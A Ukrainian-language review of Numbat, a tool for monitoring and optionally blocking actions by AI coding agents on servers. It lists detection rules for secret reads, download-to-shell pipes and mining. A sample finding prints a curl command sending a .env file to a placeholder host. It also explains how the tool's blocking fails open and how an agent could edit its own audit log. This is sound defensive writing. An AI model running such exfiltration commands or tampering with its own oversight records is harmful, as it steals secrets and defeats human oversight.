Numbat: як бачити дії AI-агентів на сервері

Що таке Numbat

Numbat дає змогу бачити, що AI-агент виконав на вашій машині. Він читає callback-події hook і файли сеансів, які coding agents уже створюють, нормалізує їх до єдиного формату подій і зіставляє їх із правилами. Ці правила спрацьовують для таких дій, як читання приватного SSH-ключа або передавання завантаження безпосередньо в shell. Perplexity випустила Numbat як open source за ліцензією Apache 2.0. Перший tagged release опубліковано 29 July 2026.

Усе нижче взято з repository проєкту та його власної documentation, опрацьованих 2 August 2026. Якщо Perplexity робить певне твердження, у цьому матеріалі прямо зазначено, що це твердження Perplexity. Це не інструкція з інсталяції, оскільки repository існує лише кілька днів, а його commands змінюватимуться.

Проблема: ніхто не записує, що саме робив агент

Coding agent на вашому VPS виконує shell-команди, читає файли, записує файли та відкриває network-з’єднання від імені користувача, якого ви йому надали. Історія shell не записує жодної з цих дій, оскільки агент не вводить команди у вашій shell-сесії. sshd записує ваш вхід у систему, але не фіксує нічого з того, що модель вирішила виконати після цього. /var/log/auth.log не створює записів, якщо не було звернення до sudo. Агент зберігає власний transcript, але цей файл розміщено в каталозі сесії агента, його формат змінюється між релізами, а сам процес агента може записувати до нього.

Тому коли хтось запитує, чи читав агент .env.production минулого вівторка, чесна відповідь для більшості серверів полягає в тому, що це неможливо визначити. Саме через цю прогалину існує цей проєкт.

Що, за твердженням Perplexity, робить Numbat

README починається з опису цього інструмента як засобу «видимості активності AI-агентів на кінцевій точці, з локальним виявленням, необов’язковим блокуванням перед виконанням дії та криміналістичною реконструкцією». Кінцева точка тут означає машину, на якій працює агент, а не мережевий пристрій, що спостерігає ззовні. Це окремі можливості, і їхня практична вага різна.

Виявлення виконується на пристрої. Правила записують мовою CEL (common expression language) і оцінюють локально. Поверх них підтримуються правила послідовностей із кількох кроків, а також власні правила у YAML. Щоб правило спрацювало, дані не потрібно передавати за межі машини.

Блокування є необов’язковим і має вузьку сферу застосування. Воно працює лише через синхронні хуки перед виконанням дії та лише для агентів, які їх надають. За замовчуванням ця функція вимкнена.

Реконструкція виконується постфактум. numbat scan аналізує артефакти сеансів, які агент уже записав на диск, тому можна переглянути активність, що відбувалася до встановлення інструмента. Проєкт чітко обмежує це твердження: «Реконструкція даних у стані спокою не є отриманням даних із диска або пам’яті та не може відновити активність, яку агент не зберіг».

Результат має формат версійованого NDJSON (JSON із роздільниками нового рядка) і охоплює події, результати виявлення, рішення щодо застосування політик, індикатори та зведення сканування. Станом на v0.1.2 використовується версія схеми 0.2.0. Записи виводяться у stdout або локальний файл, а також за потреби надсилаються через HTTP до collector, яким ви керуєте. Інструмент постачається як один статичний бінарний файл Go, зібраний без cgo, для macOS, Linux і Windows на amd64 та arm64. Тому на Linux VPS це один файл, для роботи якого спочатку не потрібно встановлювати runtime.

Які агенти насправді бачить Numbat?

Матриця покриття в docs/agent-coverage.md є авторитетним переліком, але підтримка різниться. Проєкт прямо це зазначає, а не приховує. Claude Code, Codex, Gemini CLI, Cursor і GitHub Copilot CLI підтримують сканування артефактів і захоплення даних у реальному часі за допомогою pre-action hook. Починаючи з версії 2026.7.1, OpenClaw отримує native plugin. Для багатьох інших записів указано deferred. Це означає, що шлях через live hook існує, але парсера артефактів немає. Часто причина в тому, що агент зберігає історію в SQLite із write-ahead log, який небезпечно читати під час роботи агента. На момент перегляду матриці, 2 August 2026, до цієї групи належали OpenCode і Cline.

Перед плануванням використання цього інструмента перевірте рядок для свого агента. Термін «підтримується» майже в кожному рядку означає різні можливості.

Як виглядає виявлення

Правила мають ідентифікатори, які вказують на їхнє призначення. secrets.read_private_key охоплює SSH-ключ, облікові дані AWS, конфігурацію kube або дані входу до реєстру пакетів. exec.download_pipe_shell спрацьовує, коли вивід curl або wget передається через pipe інтерпретатору. privilege.elevated_shell виявляє запит на інтерактивну root-оболонку через sudo, doas, su або pkexec. impact.cryptomining_launch зіставляється з відомими бінарними файлами майнерів і назвами образів.

Послідовні правила об’єднують події в межах одного сеансу. chain.secret_read_then_egress потребує читання файла із секретом, після якого виконується команда, що передає дані назовні. У README наведено наведений нижче результат виявлення, отриманий під час контрольного відтворення двох callback-функцій Claude Code pre-action, а не під час реального інциденту. Тут залишено лише важливі поля:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Зверніть увагу на "confidence": "medium" усередині запису, а також на формулювання про весь цей клас виводу в документації проєкту: «Результати виявлення — це збіги з правилами, а не доказ компрометації». Скрипт розгортання, який читає ключ, а потім завантажує артефакт збірки, відповідатиме тому самому правилу послідовності. Збіг правильний, а тривога помилкова. Саме так зазвичай працює кожен інструмент виявлення, який ви коли-небудь запускали.

Блокування вимкнено за замовчуванням, а в разі збою система пропускає дію

Кожне правило, яке постачає Numbat, працює лише в режимі моніторингу. Перетворення правила на правило блокування потребує окремих дій: скопіюйте повний YAML правила до власного каталогу, залиште той самий id, додайте enforce: true, збільште версію, а потім перевірте й установіть цю політику.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Тепер розглянемо, наскільки можна на це покладатися. deny у Numbat — це відповідь, яку він передає агенту, а саме агент фактично відхиляє виклик інструмента. У посібнику з enforcement прямо зазначено, що відбувається, коли сам Numbat має проблему: «Неправильні payload, відповідні помилки оцінювання, panic і помилки виведення скасовують deny від numbat». Вхідні дані hook обмежені 4 MiB, і надто великі дані обробляються тим самим шляхом.

У посібнику так само чітко описано обмеження deny, який усе ж було передано: «Fail-open означає, що numbat не надсилає відповідь deny. Це не гарантує виконання інструмента: host усе ще може запитати підтвердження, відхилити дію, перервати її через тайм-аут або застосувати інший hook чи політику».

Отже, enforcement тут є запобіжним механізмом, а не межею безпеки. Якщо процес аварійно завершується, Numbat не блокує дію, оскільки моніторинг, який щоразу зупиняє agent через власний збій, видалять протягом тижня. Такий компроміс є обґрунтованим. Але не будуйте модель безпеки з припущенням, що deny надходить завжди.

Що Numbat додає до вже наявних засобів

Numbat працює на кінцевій системі, у власному дереві процесів агента, і за замовчуванням записує дані до ~/.numbat/records.ndjson. Агент, запущений від імені вашого користувача, може читати цей файл. Він також може редагувати його. Аудит має рівно таку цінність, як і ізоляція навколо нього. Тому всі наявні засоби контролю потрібно застосовувати перед ним, а не покладатися на них після його спрацювання.

Надання coding agent одноразової VM обмежує ресурси, до яких може дістатися небезпечний запуск. Користувач із мінімальними привілеями на VPS не дає агенту доступу до файлів, які йому не потрібно відкривати. Зберігання облікових даних поза контекстом агента робить secrets.read_private_key достатньо рідкісною подією, щоб перевіряти її журнал під час спрацювання. А sandbox, налаштований для Claude Code на VPS, і далі забезпечує ізоляцію. Ізоляція обмежує те, чого може торкнутися небезпечний запуск, а документування причин вибору структури коду зменшує ймовірність неочікуваної дії агента, через яку доведеться звертатися до журналу.

Numbat додає журнал подій, тому надсилайте його туди, куди агент не має доступу. Для цього призначені numbat ship і HTTP sink. Копія потоку на другій машині перетворює файл журналу на доказ. Модель подій також містить поля MCP (model context protocol). Тому виклики інструментів через MCP server, розгорнутий вами на VPS, потрапляють до того самого потоку, що й локальні команди shell. Це важливо, оскільки такий шлях невидимий для засобів, які відстежують лише bash. Та сама прогалина стосується екземпляра SearXNG, підключеного як пошуковий бекенд агента, де ризик надходить як недовірений текст вебсторінки, що потрапляє в контекст моделі, а не як команда, яку може виявити будь-яке правило.

Спочатку перевірте в режимі лише читання

Встановіть зафіксовану версію. Для go install потрібен Go 1.26.5 або новіший. На сторінці релізів доступні попередньо зібрані бінарні файли з SHA-256 контрольними сумами, якщо ви не хочете збирати програму з вихідного коду.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents виявляє агентів, установлених у системі. numbat scan аналізує артефакти сеансів, які вже збережені на диску, і виводить записи. У README зазначено, що ці команди «не встановлюють hooks і не змінюють конфігурацію агентів», а numbat «ніколи не запускає агентів або команди, знайдені в артефактах, і виконує вихідні запити лише до налаштованих HTTP sinks». Сканування виконується в режимі лише читання із приховуванням секретів. У звичайному виведенні записів повна необроблена стенограма ніколи не міститься.

Наступний крок — захоплення даних у реальному часі. Воно змінює конфігурацію агентів:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all записує події, результати перевірок, індикатори та відповідні рішення щодо застосування політик у ~/.numbat/records.ndjson. Проєкт прямо містить два застереження. Перед запуском hooks може знадобитися дозволити їм виконання всередині агента. Після зміни flags, наприклад --enforce, цей дозвіл потрібно перевірити повторно. Крім того, hook status «перевіряє конфігурацію, а не виконання або доставлення», тому повідомлення про справний стан не доводить, що записи кудись надходять.

Чому такий новий репозиторій не може бути залежністю

Публічні релізи — v0.1.1 від 29 July 2026 року та v0.1.2 від 1 August 2026 року. На момент написання цього допису, 2 August 2026 року, репозиторій мав 597 зірок. Такі швидкі темпи відображають аудиторію Perplexity, а не якість і надійність коду. Зірка означає, що хтось зберіг сторінку, щоб переглянути її пізніше.

Номер версії чесно показує поточний стан проєкту. У примітках до v0.1.2 переважно описано виправлення для редагування облікових даних, а також нормалізацію пакетів кейсів і телеметрії. Помилки редагування — типовий вид ранніх дефектів інструмента, призначеного для безпечного читання транскриптів інших програм. Таких помилок буде більше, оскільки вхідні дані надходять від десятка агентів, кожен із яких змінює свій формат за власним графіком.

З цього випливають два практичні правила. У всьому, що ви зберігаєте, фіксуйте tag, а не @latest. І розглядайте цей інструмент як засіб, який ви оцінюєте, а не як компонент, від якого залежить робота системи, принаймні доти, доки схема записів не перестане змінюватися.

FAQ

Чи блокує Numbat небезпечні команди AI-агентів?

Лише якщо ви явно ввімкнете це, і лише на основі принципу best effort. Усі правила, які постачає Numbat, працюють лише в режимі моніторингу. Щоб блокувати команди, скопіюйте YAML правила у власний каталог, збережіть його id, додайте enforce: true, збільште версію та встановіть hook за допомогою --enforce. Навіть тоді deny є відповіддю, яку передають агенту, а саме агент відмовляється виконувати виклик. У документації проєкту зазначено fail-open поведінку: некоректні payload, помилки оцінювання, panic і помилки виведення в усіх випадках скасовують deny. Використовуйте це як додаткове обмеження, а не як єдиний рівень захисту.

Які AI-агенти підтримує Numbat?

Обсяг підтримки залежить від агента та наведений у docs/agent-coverage.md у репозиторії. Claude Code, Codex, Gemini CLI, Cursor і GitHub Copilot CLI мали і сканування артефактів, і захоплення подій у реальному часі, коли цю сторінку читали 2 August 2026, а OpenClaw має native plugin починаючи з версії 2026.7.1. Для багатьох інших агентів зазначено шлях до live hook, але ще немає парсера артефактів. Зазвичай це пов’язано з тим, що історія сеансів зберігається в базі даних SQLite, яку небезпечно читати під час роботи агента. Прочитайте рядок для свого агента, оскільки слово "supported" там охоплює кілька різних рівнів підтримки.

Чи може агент змінювати записи Numbat?

Так, якщо він працює від імені того самого користувача. За замовчуванням записи зберігаються в ~/.numbat/records.ndjson на тій самій машині, що й агент, тому будь-який процес із правом запису до цього шляху може змінювати або видаляти їх. Передавайте stream до collector, недоступного для агента, за допомогою numbat ship або HTTP sink, а локальний файл залиште як зручну копію. Саме тому цей інструмент доповнює ізоляцію, а не замінює її. Агент, ізольований у disposable VM і запущений від імені користувача з мінімальними привілеями, має значно менше доступу до власного audit trail.

Чи готовий Numbat для production-сервера?

Не як засіб контролю, від якого можна залежати. Перший публічний реліз, v0.1.1, вийшов 29 July 2026, а v0.1.2 — 1 August 2026, тому flags і schema записів ще змінюються. Запуск numbat agents і numbat scan на сервері виконує лише читання та має низький ризик. Він покаже, що ваші агенти залишають на диску. Встановлення enforcement hooks на важливому сервері — інше рішення. Для нього потрібні зафіксований tag і план дій на випадок некоректної роботи hook.